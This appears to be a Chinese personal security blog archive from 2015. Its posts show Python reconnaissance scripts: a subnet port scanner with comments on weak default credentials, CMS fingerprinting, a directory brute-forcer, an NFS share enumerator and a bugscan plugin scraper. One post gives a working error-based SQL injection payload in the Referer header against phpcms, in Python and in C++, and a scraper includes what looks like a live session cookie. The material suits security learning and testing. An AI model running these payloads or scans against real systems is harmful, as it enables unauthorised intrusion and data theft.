Python简陋的端口扫描

发布时间:May 7, 2015 // 分类:运维工作,工作日志,代码学习,python // No Comments

主要是用在一些linux机器没有装自带的nmap的时候使用的

#-*- coding: utf-8 -*-
'''
探查网段内开放的常见端口
'''
import thread
import socket
import sys
import os
import time

ports = '21,22,23,25,53,67,80,81,82,110,1433,1521,1526,3306,3389,4899,8580'
ports += ',873'         # rsync default port
ports += ',443,465,993,995' # ssl services port
    # https tcp-443
    # imaps tcp-993
    # pop3s tcp-995
    # smtps tcp-465
ports += ',2049'         #NFS linux网络共享服务   
ports += ',2082,2083'   # cpanel主机管理系统登陆 (国外用较多)​
ports += ',2222'        # DA虚拟主机管理系统登陆 (国外用较多)​
ports += ',2601,2604'   # zebra路由,默认密码zebra 
ports += ',3128'        # squid代理默认端口,如果没设置口令很可能就直接漫游内网了 
ports += ',3312,3311'   # kangle主机管理系统登陆
ports += ',4440'        # rundeck  参考WooYun: 借用新浪某服务成功漫游新浪内网
ports += ',5432,5631'
ports += ',6082'        # varnish  参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 
ports += ',6379'        # redis 一般无认证,可直接访问
ports += ',7001'        # weblogic,默认弱口令
ports += ',7778'        # Kloxo主机控制面板登录​
ports += ',8000'        # 8000-9090都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
ports += ',8001'
ports += ',8002' 
ports += ',8080'        # tomcat/WDCP主机管理系统 默认端口
ports += ',8081'
ports += ',8888'        # amh/LuManager 主机管理系统默认端口
ports += ',8083'        # Vestacp主机管理系统​​ (国外用较多)
ports += ',8089'        # jboss端口 历史曾经爆漏洞/可弱口令
ports += ',9200'        # elasticsearch port
ports += ',10000'       # Virtualmin/Webmin 服务器虚拟主机管理系统
ports += ',11211'       # memcache  未授权访问
ports += ',14147'
ports += ',28017,27017' # mongodb default port
ports += ',43958'

def scan(host):
    ListTmp = ports.split(',')
    for port in ListTmp:
        cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        address=(str(host),int(port))
        status = cs.connect_ex((address))
        if(status == 0):
            print "%s port %s open"%(host,port)
        cs.close()

def find_ip(ip_prefix):
    '''
    给出当前的192.168.1 ,然后扫描整个段所有地址
    '''
    for i in range(1,256):
        ip = '%s.%s'%(ip_prefix,i)
        thread.start_new_thread(scan, (ip,))
        time.sleep(0.3)     

if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)
    ip_prefix = '.'.join(args.split('.')[:-1])
    find_ip(ip_prefix)

python 简易版的CMS识别

发布时间:May 4, 2015 // 分类:工作日志,代码学习,python // No Comments

早上朋友发给我这么一组数据,说是关于CMS识别的。问我是不是可以搞一个类似的出来

/member/images/dzh_logo.gif|dedecms|412f80bbedc1e3c62b7f5a5038a550e6
/images/share.gif|dedecms|cff38608748e421961c19818146241d4
/images/enums.js|dedecms|802e864c70aa6cfd766607a09ef0adf2
/include/demo_log.gif|instant|477efd7284722d6c7d311771389db162
/images/icon_shopping.gif|instant|acc33a6562f545f3d452b8ec33a09092
/js/prototype.js|mangallam|db88937debcf1dcdc1bb7a5d6ff05c39
/images/spacer.gif|mangallam|7236915534503a1c5a27f067b9e0c7a4
/images/admincp/cpicon.gif|mvmmall|5fa5b82e54ccc2be2e66dde9ef3cce0
/admin/css/bootstrap-slider/slider.css|codoforum|5bcd1306020b53f85fa77b2652783254
/admin/css/iCheck/flat/yellow.png|codoforum|334d87b0b6c68d804a7294563ce79791
/images/pay/chinabank.gif|mvmmall|36e82497e38131f07fdd5a6921452ebc
/language/cn/admin/lang.js|mvmmall|7f4afedaf683174cbb502fda58ffa93
/templets/default/images/ico-3.gif|dedecms|fc8945eb46b32113ad0ae510668f115a
/include/dedeajax2.js|dedecms|4479ffed41b6118bdbb9f05fe3e02bb2
/include/dedeajax2.js|dedecms|4479ffed41b6118bdbb9f05fe3e02bb2

早上没空,下午我仔细一看,是按照url |cms |md5hash 这样子来排列的。应该比较简单,但是最后一串的md5值还是不清楚怎么获取的。

#!/usr/bin/python
#-*- coding: utf-8 -*-
import hashlib
import httplib
import sys

def wahtcms(domain):
    f=open(r'cms1.txt','r')
    #open cms.txt to have some CMS
    urls = f.readlines()
    f.close()
    for url in urls:
        ur1,service,hashs = url.split('|',2)
        connection = httplib.HTTPConnection(domain,80,timeout=10)
        connection.request("GET",ur1)
        response = connection.getresponse()
        server = response.msg['Server']
        #X-Powered-By: WAF/2.0  .msg['X-Powered-By']
        #因为现在的WAF会造成误报
        data=response.reason
        if "OK" in data:
            if hashlib.md5(response.read()).hexdigest()!='04c89e24302940c24f55301c2257b2e9':
        #   这里04c89e24302940c24f55301c2257b2e9是404错误的
        #   这里的md5值计算了和给出的没有一个是相同的。
                print domain + " is " + service +" and Server is " + server
        connection.close()


if __name__ == "__main__":
    commandargs = sys.argv[1:]
    domain = "".join(commandargs)
    wahtcms(domain)

由于不知道最后一串的md5是计算的什么地方的。所以误报就很多很多了。(PS:反过来看到自己是拿status状态码来判断也是醉了。)

这个误报都吧自己给弄哭了~但是这个思路是可以用在目录扫描上倒是真的。

#!/usr/bin/python
#-*- coding: utf-8 -*-
import hashlib
import httplib
import sys

def wahtcms(domain):
    f=open(r'cms1.txt','r')
    #open cms.txt to have some CMS
    urls = f.readlines()
    f.close()
    for url in urls:
        ur1,service,hashs = url.split('|',2)
        connection = httplib.HTTPConnection(domain,80,timeout=2)
        connection.request("GET",ur1)
        response = connection.getresponse()
        server = response.msg['Server']
        #X-Powered-By: WAF/2.0  .msg['X-Powered-By']
        #因为现在的WAF会造成误报
        data=response.reason
        if "OK" in data:
            if hashlib.md5(response.read()).hexdigest()!='04c89e24302940c24f55301c2257b2e9':
        #   这里04c89e24302940c24f55301c2257b2e9是404错误的
        #   这里的md5值计算了和给出的没有一个是相同的。
                print domain + " is " + service +" and Server is " + server
        connection.close()

def scan(domain):
    s = open(r'dict/dir.txt','r')
    urls = s.readlines()
    s.close()
    for url in urls:
        connection = httplib.HTTPConnection(domain,80,timeout=2)
        connection.request("GET","/"+url)
        response = connection.getresponse()
        data = response.reason
        if "OK" in data or "Forbidden" in data:
            print "Found http://"+domain + "/"+url
        connection.close()


if __name__ == "__main__":
    commandargs = sys.argv[1:]
    domain = "".join(commandargs)
    scan(domain)

 

更新。使用https://github.com/chuhades/CMS-Exploit-Framework/blob/master/plugins/multi/whatweb.py进行修改

#!/usr/bin/env python
# coding=utf-8
import os
import re
import json
import random
import hashlib
import requests

domain = '0cx.cc'

'''
def finger(domain):
    with open('whatweb.json') as f:
        c = f.read()
        b = json.loads(c)
        for cms in b:
            #print cms
            for rule in b[cms]:
                print rule['url']

'''
class WhatWeb(object):
    """
    CMS 识别
    """
    def get_user_agent(self):
        user_agents = [
            "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
            "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
            "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
            "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
            "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
            "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
            "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
            "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
            "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
            "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
            "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
            "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
            "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
            "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
            "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
            "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",]
        return random.choice(user_agents)

    def __init__(self, url):
        self.cms = []
        with open("whatweb.json") as f:
            self.rules = json.load(f)
            for cms in self.rules:
                self.cms.append(cms)
        self.url = url
        self.result = ""

    def run(self):
        """
        识别 CMS
        :param cms: str, CMS 名称
        :return: str, CMS 名称
        """
        headers = {'User-Agent': self.get_user_agent()}
        for cms in self.cms:
            for rule in self.rules[cms]:
                try:
                    #print (self.url + rule["url"] + cms)
                    r = requests.get(self.url + rule["url"], timeout=15, headers=headers, verify=False)
                    r.encoding = r.apparent_encoding
                    r.close()
                    if ("md5" in rule
                        and hashlib.md5(r.content).hexdigest() == rule["md5"]) \
                            or ("field" in rule and rule["field"] in r.headers
                                and rule["value"] in r.headers[rule["field"]]) \
                            or ("text" in rule and rule["text"] in r.text) \
                            or ("regexp" in rule
                                and re.search(rule["regexp"], r.text)):
                        return cms

                except Exception:
                    pass

if __name__ == '__main__':
    URL = 'http://0day5.com'
    w = WhatWeb(URL)
    result = w.run()
    print result

python--httplib模块使用

发布时间:May 4, 2015 // 分类:代码学习,转帖文章,python // No Comments

httplib是一个相对底层的http请求模块,其上有专门的包装模块,如urllib内建模块,goto等第三方模块,但是封装的越高就越不灵活,比如urllib模块里请求错误时就不会返回结果页的内容,只有头信息,对于某些需要检测错误请求返回值的场景就不适用,所以就得用这个模块了。

 

1、class httplib.HTTPConnection

说明:
该类用于创建一个http类型的请求链接

原型:
HTTPConnection(host[, port[, strict[, timeout]]])
host: 请求的服务器host,不能带http://开头
port: 服务器web服务端口
strict: 是否严格检查请求的状态行,就是http1.0/1.1 协议版本的那一行,即请求的第一行,默认为False,为True时检查错误会抛异常
timeout: 单次请求的超时时间,没有时默认使用httplib模块内的全局的超时时间

实例:
conn1 = HTTPConnection('www.baidu.com:80')
conn2 = HTTPconnection('www.baidu.com',80)
conn3 = HTTPConnection('www.baidu.com',80,True,10)
错误实例:
conn3 = HTTPConnection('www.baidu.com:80',True,10)

返回:
HTTPConnection类会实例并返回一个HTTPConnection对象


2、class httplib.HTTPSConnection
说明:
该类用于创建一个https类型的请求链接

原型:
HTTPSConnection(host[, port[, key_file[, cert_file[, strict[, timeout]]]]])
key_file:一个包含PEM格式的私钥文件
cert_file:一个包含PEM格式的认证文件
other:其它同http参数

实例:

conn3 = HTTPSConnection('accounts.google.com',443,key_file,cert_file,True,10)  

返回:
同样返回一个HTTPSConnection对象

注意:
要创建https链接,必须要保证底层的socket模块是支持ssl的编译模式,即编译时ssl选项的开关是开着的


3、HTTPConnection对象request方法:
说明:
发送一个请求

原型:
conn.request(method, url[, body[, headers]])
method: 请求的方式,如'GET','POST','HEAD','PUT','DELETE'等
url: 请求的网页路径。如:'/index.html'
body: 请求是否带数据,该参数是一个字典
headers: 请求是否带头信息,该参数是一个字典,不过键的名字是指定的http头关键字

实例:

conn.request('GET', '/', '', {'user-agent':'test'})  

返回:
无返回,其实就是相对于向服务其发送数据,但是没有最后回车


4、HTTPConnection对象getresponse方法
说明:
获取一个http响应对象,相当于执行最后的2个回车

原型/实例:

res = conn.getresponse()  

返回:
HTTPResponse对象


5、HTTPConnection对象close()方法
说明:
关闭指定的httpconnect链接

实例:

conn.close()  

6、HTTPResponse对象read方法
说明:
获得http响应的内容部分,即网页源码

原型:
body = res.read([amt])
amt: 读取指定长度的字符,默认为空,即读取所有内容

实例:

body = res.read()
pbody = res.read(10)

返回:
网页内容字符串


7、HTTPResponse对象的其它方法或属性
方法:
getheaders()
获得所有的响应头内容,是一个元组列表[(name,value),(name2,value2)]
getheader(name[,default])
获得指定的头内容
fileno()
socket的fileno

属性:
msg
所有的头信息,和getheaders方法一样,只不过这个是原始未处理的字符串
status
当次请求的状态
version
当次请求的http协议版本,10是http1.0, 11是http/1.1
reason
当次请求的结果的表述内容,200是ok,404是Not Found

总体实例:

#!/usr/bin/env python  
# -*- coding: utf-8 -*-  
import httplib
import urllib

 
def sendhttp():
    data = urllib.urlencode({'@number': 12524, '@type': 'issue', '@action': 'show'})   
    headers = {"Content-type": "application/x-www-form-urlencoded",
               "Accept": "text/plain"}
    conn = httplib.HTTPConnection('bugs.python.org')
    conn.request('POST', '/', data, headers)
    httpres = conn.getresponse()
    print httpres.status
    print httpres.reason
    print httpres.read()
           
              
if __name__ == '__main__':  
    sendhttp() 

当然还有其它的一些信息,比如异常类型,比如http的code对应表及查询字典等等,可以直接参考官网httplib文档:http://docs.python.org/library/httplib.html
from:http://blog.csdn.net/five3/article/details/7078951

python利用爱站查询C段域名的脚本

发布时间:May 2, 2015 // 分类:运维工作,工作日志,代码学习,python // No Comments

#-*- coding: utf-8 -*-
'''
利用爱站进行轮询查询整个C段内的网站
'''
  
import socket
import sys
import json
import requests
import re
import time
import thread
 
def scan(ip_str):
    '''
    检测扫描端口是否开启
    然后利用aizhan旁站进行遍历
    '''
    port = '80'
    cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    address=(str(ip_str),int(port))
    status = cs.connect_ex((address))
    #若返回的结果为0表示端口开启
    if(status == 0):
        cs2 = {'r' : 'index/domains' , 'ip' : ip_str}
        res2 = requests.get("http://dns.aizhan.com/index.php", params=cs2)
        ys = re.findall(r'"maxpage":(\d{1}),',res2.content)
        if(len(ys)==0):#如果不测量长度,就会报错IndexError: list index out of range
            print "%s" %(ip_str)
        elif(len(ys)>0):
            i=1
            while (i <= int(ys[0])):
                cs3 = {'r' : 'index/domains' , 'ip' : ip_str , 'page' : i}
                i +=1
                res3 = requests.get("http://dns.aizhan.com/index.php", params=cs3)
                url = json.loads(res3.content)['domains']
                print "%s" %(ip_str)
                for zhurl in url:
                    print zhurl   


    cs.close()
      
def find_ip(ip_prefix):
    '''
    给出当前的192.168.1 ,然后扫描整个段所有地址
    '''
    for i in range(1,256):
        ip = '%s.%s'%(ip_prefix,i)
        thread.start_new_thread(scan, (ip,))
        time.sleep(0.3)
       
if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)    
     
    ip_prefix = '.'.join(args.split('.')[:-1])
    find_ip(ip_prefix)

Python中使用socket发送HTTP

发布时间:May 2, 2015 // 分类:工作日志,代码学习,python // No Comments

由于工作的需求,需要用python做一个类似网络爬虫的采集器。虽然Python的urllib模块提供更加方便简洁操作,但是涉及到一些底层的需求,如手动设定User-Agent,Referer等,所以选择了直接用socket进行设计。当然,这样的话,需要对HTTP协议比较熟悉,HTTP协议这里就不做讲解了。整个python的代码如下:

#!/usr/bin env python
import socket
host="0cx.cc"
se=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
se.connect((host,80))
se.send("GET / HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\nHost: %s\r\n\r\n" % host)
print se.recv(1024)

可是我们得到的返回结果是这样的

HTTP/1.1 200 OK
Date: Sat, 02 May 2015 07:54:08 GMT
Server: Apache/2.2.15 (CentOS)
X-Pingback: http://0cx.cc/action/xmlrpc
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

426c
<!DOCTYPE h

代码运行正常,但是发现一个比较重要的问题,运行结果只返回了HTTP的头部信息,网页的内容则没有被返回。网上查找了很多资料,一无所获,经过一夜的思考,突然想到了一个问题,有可能我请求的资源非常大,一个网络的IP包的大小,它是受很多因素制约的,最典型的便是MTU(最大传输单元),那么会不会我请求的数据被分割了,HTTP的头部信息只是一部分,其它数据还在传输或者缓冲区呢?于是做了这样一个遍历:

#!/usr/bin env python
import socket
host="0cx.cc"
se=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
se.connect((host,80))
se.send("GET / HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)\r\nHost: %s\r\n\r\n" % host)
while True:
  result = se.recv(1024)
  if not len(result ):
    break
  print result

查看返回的结果,果然正常了。看来要想做好网络编程,深入理解TCP/IP协议是非常必要的。利用这个还可以探测某域名是否在某IP段内

python探测某段NFS并遍历目录

发布时间:May 1, 2015 // 分类:工作日志,代码学习,linux,python // No Comments

一步一步来咯,首先是确定我们要干什么,首先根据输入的IP来遍历C段,然后才是判断端口是否开启,最后就是探测目录。

那么首先来遍历C段吧

import socket

#获取本机的IP
getip = socket.gethostbyname(socket.gethostname())
#得到192.168.1.1这样的192.168.1
ip_prefix = '.'.join(getip.split('.')[:-1])
#然后从1-255中随机选取
for i in range(1,256):
    ip = '%s.%s'%(ip_prefix,i)
    print ip

得到了IP,下一步就是探测端口,这里利用的是socket模块

>>> import socket
>>> port = '2049'
>>> ip_str = '192.xxx.xxx.xx'
>>> address=(str(ip_str),int(port))
>>> cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
>>> status = cs.connect_ex((address))
>>> print status
0
>>>

然后利用os模块去调用系统命令执行showmount -e ip来扫描NFS的共享目录

Python 2.7 (r27:82500, Aug 19 2012, 13:02:30)
[GCC 4.1.2 20080704 (Red Hat 4.1.2-44)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> ip_str = '10.xxx.xx.xxx'
>>> cmd = ["showmount", "-e",ip_str]
>>> output = os.popen(" ".join(cmd)).readlines()
>>> print output
['Export list for 10.xxx.xxx.xxx:\n', '/home/data/news/content 10.10.10.27,10.10.10.25,10.10.10.24,10.10.10.23\n']

成品就是这样子

#-*- coding: utf-8 -*-
#python2.7.x  ip_scaner.py
 
'''
由于内网经常开启nfs服务,检测NSF是否开启
并且检测NFS共享的目录并列出来
'''

import socket
import sys
import os
import time
import thread
 
def scan(ip_str):
    '''
    检测扫描端口是否开启
    如果有开启,尝试使用showmount -e去检测
    '''
    port = '2049'
    cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    address=(str(ip_str),int(port))
    status = cs.connect_ex((address))
    #若返回的结果为0表示端口开启
    if(status == 0):
        print "%s may have nfs service" %(ip_str)
        cmd = ["showmount", "-e",ip_str]
        output = os.popen(" ".join(cmd)).readlines()
        print output
    cs.close()
    
def find_ip(ip_prefix):
    '''
    给出当前的192.168.1 ,然后扫描整个段所有地址
    '''
    for i in range(1,256):
        ip = '%s.%s'%(ip_prefix,i)
        thread.start_new_thread(scan, (ip,))
        time.sleep(0.1)
     
if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)    
   
    ip_prefix = '.'.join(args.split('.')[:-1])
    find_ip(ip_prefix)

效果如下:

SQL注入(Rerferer注入)插件编写

发布时间:April 26, 2015 // 分类:VC/C/C++,代码学习,windows,python // No Comments

这个漏洞的详细细节在这里可以看到:http://0day5.com/archives/319

首先是python的,因为学习python,所以就选择了这个。首先自己定义一个http头,然后curl -H提交就好了

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#from:http://0day5.com/archives/319

def assign(service,arg):
    if service == "phpcms":
        return True, arg

def audit(arg):
    url = arg + '/index.php?m=poster&c=index&a=poster_click&id=1'
    payload = "Referer:',(SELECT 1 FROM(SELECT COUNT(*),CONCAT(user(),FLOOR(RAND(0)*2))X FROM information_schema.tables GROUP BY X)a),'1')#"
    code, head, res, errcode,finalurl =  curl.curl("-H \"%s\" %s" % (payload,url))

    if code == 200 and res.find("for key 'group_key'") != -1:
        security_hole(url)

if __name__ == "__main__":
    from dummy import *
    audit(assign('phpcms', 'http://www.example.com/')[1])

然后是VC的,因为之前没有考虑到http头也可以注入的问题。所以只能采取拼凑的办法,就是把需要提交的参数直接封装到一个包里面去。然后直接发送出去

    String referPack="";  //顶一个referPack
    referPack.Format("GET %s/index.php?m=poster&c=index&a=poster_click&id=1 HTTP/1.1\r\nHost: %s\r\nUser-Agent: baiduSpider\r\nReferer:',(SELECT 1 FROM(SELECT COUNT(*),CONCAT(user(),FLOOR(RAND(0)*2))X FROM information_schema.tables GROUP BY X)a),'1')#"
        ,Root,Host);//就是定义了一个referer,然后把GET提交的东西封起来
    sendToTarget(referPack.GetBuffer(0),TRUE);//发送出去
    String body=GetResponseContent(); //接收返回的内容
    if (body.Find("for key 'group_key'",0)!=-1)
    {
        return "http://"+Host+Root+"/index.php?m=poster&c=index&a=poster_click&id=1 存在Referer MySQL显错式注入!";
    }

 

python之bugscan爬虫

发布时间:April 26, 2015 // 分类:代码学习,linux,python,windows // No Comments

最近在bugscan上提交各种插件,发现了与很多大神之间的差距。但是自己想弄一些回来慢慢的学习。就萌生了想把全部的explotit全部拖回来看看。

首先我们来抓包看看

POST /rest HTTP/1.1
Host: www.bugscan.net
Connection: keep-alive
Content-Length: 45
Origin: https://www.bugscan.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: https://www.bugscan.net/
Accept-Encoding: gzip, deflate
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2
Cookie: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 
{"method":"GetPluginDetail","params":[579]}

可以看出来是通过json进行提交的

然后我们用这个数据包利用burp来重放一次

明显是可以看到成功提交的。然后各种精简到后来发现到这样也是可以提交的

POST /rest HTTP/1.1
Host: www.bugscan.net
Content-Type: application/json;charset=UTF-8
Referer: https://www.bugscan.net/
Cookie: xxxxxxxxxxxxxxxxxxxxxx
Content-Length: 45
 
{"method":"GetPluginDetail","params":[579]}

那么现在可以明确的肯定,我们需要提交的东西包括host url referer content-type cookie 以及 post提交的数据

首先因为要使用json,我们就加载json模块

我们使用urllib2这个组件来抓取网页。

urllib2是Python的一个获取URLs(Uniform Resource Locators)的组件。

它以urlopen函数的形式提供了一个非常简单的接口

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
 
import json   
import urllib2
 
url = ' #接收参数的地址 
headers = { 'Referer':' #模拟来路 
            'Content-Type': 'application/json;charset=UTF-8', #提交的方式
            'cookie':'xxxxxxxxxxxxxxxxx'  #自己的cookie
        }
data = {"method":"GetPluginDetail","params":[579]}
postdata = json.dumps(data)
 
req = urllib2.Request(url, postdata, headers)
response = urllib2.urlopen(req)
the_page = response.read()
print the_page

可以看到现在成功的获取到了这个内容.

然后逐个匹配,内容,文件名字等等

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
 
import json   
import urllib2
 
url = ' #接收参数的地址  
headers = { 'Referer':'https://www.bugscan.net/',#模拟来路
            'Content-Type': 'application/json;charset=UTF-8',#提交的方式
            'cookie':'xxxxxxxxxxxxxxxxxxxxxxxxxxx'#自己的cookie
        }
data = {"method":"GetPluginDetail","params":[579]}
postdata = json.dumps(data)
 
req = urllib2.Request(url, postdata, headers)
response = urllib2.urlopen(req)
html_page = response.read()
json_html = json.loads(html_page) #dedao得到原始的数据
source = json_html['result']['plugin']['source'] #获取到我们需要的源码内容
name = json_html['result']['plugin']['fname'] #获取到我们读取的文件名字
f = open('f:/bugscan/'+name,'w')
f.write(source)
f.close()

然后就是我们想要做的了..

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
 
import json   
import urllib2
 
url = 'https://www.bugscan.net/rest'
headers = { 'Referer':'https://www.bugscan.net/',
            'Content-Type': 'application/json;charset=UTF-8',
            'cookie':'xxxxxxxxxxxxxxxxxxxxxxxxxxx'
        }
for i in range(1, 579+1): #因为到当前为止,只有579篇
    datas = {"method":"GetPluginDetail","params":[i]}
    postdata = json.dumps(datas)
    req = urllib2.Request(url, postdata, headers)
    response = urllib2.urlopen(req)
    html_page = response.read()
    json_html = json.loads(html_page) #dedao得到原始的数据
    source = json_html['result']['plugin']['source'] #获取到我们需要的源码内容
    name = json_html['result']['plugin']['fname'] #获取到我们读取的文件名字
    f = open('f:/bugscan/'+i+name,'w')#写入文件内
    f.write(source)
    f.close()

下一个修改的地方,因为用户Zero的是不能查看的,所以考虑获取用户的地方直接给他不写入

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
 
import json   
import urllib2
 
url = 'https://www.bugscan.net/rest'
headers = { 'Referer':'https://www.bugscan.net/',
            'Content-Type': 'application/json;charset=UTF-8',
            'cookie':'xxxxxxxxxxxxxxxxxxxxxx'
        }
for i in range(1, 579+1):
    datas = {"method":"GetPluginDetail","params":[i]}
    postdata = json.dumps(datas)
    req = urllib2.Request(url, postdata, headers)
    response = urllib2.urlopen(req)
    html_page = response.read()
    if html_page.find('未登录或者是加密插件') == -1: #未登录或者是加密插件的基本不可看
        json_html = json.loads(html_page) #dedao得到原始的数据
        source = json_html['result']['plugin']['source'] #获取到我们需要的源码内容
        name = json_html['result']['plugin']['fname'] #获取到我们读取的文件名字
        f = open('f:/bugscan/'+i+name,'w')
        f.write(source)
        f.close()
 

2015.8.15更新

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
  
import json   
import urllib2
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
  
url = 'https://www.bugscan.net/rest'
#自定义的http头
headers = { 'Referer':'https://www.bugscan.net/',
            'Content-Type': 'application/json;charset=UTF-8',
            'cookie':'here is cookie which is yours'
        }

for i in range(39, 1341+1):
    #自带的提交方式
    data = {"method":"GetPluginDetail","params":[i]}
    #把提交得到的数据进行json解码
    postdata = json.dumps(data)
    req = urllib2.Request(url, postdata, headers)
    response = urllib2.urlopen(req)
    html_page = response.read()
    json_html = json.loads(html_page)
    #如果匹配到sql:no rows in result set
    #表示这个是不可读取的
    if html_page.find("sql: no rows in result set") == -1: 
        #如果匹配到了source:的式样。则进行匹配
        if html_page.find('"source":') != -1: 
            #print i
            #抓取source的内容
            source = json_html['result']['plugin']['source']
            #抓取fname的内容,也就是提交的文件名
            name = json_html['result']['plugin']['fname']
            #考虑到有重复的出现,这里匹配了i
            f = open('bugscan/'+bytes(i)+'_'+name,'w')
            f.write(source)
            f.close()

 

2016/1/16 更新。因为之前的跳转全部给弄到了q.bugscan.net。所以单独对q.bugscan.net的进行爬行

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests,re

#自定义的http头
qian = re.compile(r'<pre><code>([\s\S]*?)</code></pre>')
headers = { 'Referer':'http://q.bugscan.net/',
            'UserAgent': 'Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19',
            'cookie':'cookie',}
url = 'http://q.bugscan.net/t/1945'
response = requests.get(url,headers=headers)
resu = qian.findall(response.content.replace('&#34;', '"'))
if (len(resu)>0) and ("def assign(service, arg):" in resu):
    content = resu[0].replace("&#39;", "'")
        print content

然后按照这个弄了一个多线程的

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: rookie
import requests,re
import time
import thread

def scan(i):
    print i
    qian = re.compile(r'<pre><code>([\s\S]*?)</code></pre>')
    headers = { 'Referer':'http://q.bugscan.net/',
            'UserAgent': 'Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19',
            'cookie':'CNZZDATA1256927980=200621908-1450077676-http%253A%252F%252Fq.bugscan.net%252F%7C1450106517; gsid=a8971c8ce53bc573809080eb34e7b03d88ed0dcfb733f1c48aceeeb1b6c8c574; _xsrf=2|1f20d955|cd1c41b6601fd0225ea5c8641af3028c|1451976836',}
    url = 'http://q.bugscan.net/t/'+str(i)
    response = requests.get(url,headers=headers)
    resu = qian.findall(response.content.replace('&#34;', '"'))
    if (len(resu)>0) and ("def assign(service, arg):" in resu):
        content = resu[0].replace("&#39;", "'")
        content = content.replace('&gt;','>')
        content = content.replace('&lt;','<')
        content = content.replace('&amp;','&')
        f = open('bugscan/'+bytes(i)+".py",'w')
        f.write(content)
        f.close()

def find_id():
    for i in range(1,2187+1):
        thread.start_new_thread(scan, (i,))
        time.sleep(3)

if __name__ == "__main__":
    find_id()

bugscan编写之python学习

发布时间:April 26, 2015 // 分类:代码学习,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#refer :http://www.wooyun.org/bugs/wooyun-2014-070316
#refer :http://www.wooyun.org/bugs/wooyun-2014-063225
 
def assign(service, arg):
    if service == "shopbuilder":
        return True, arg
 
def audit(arg):
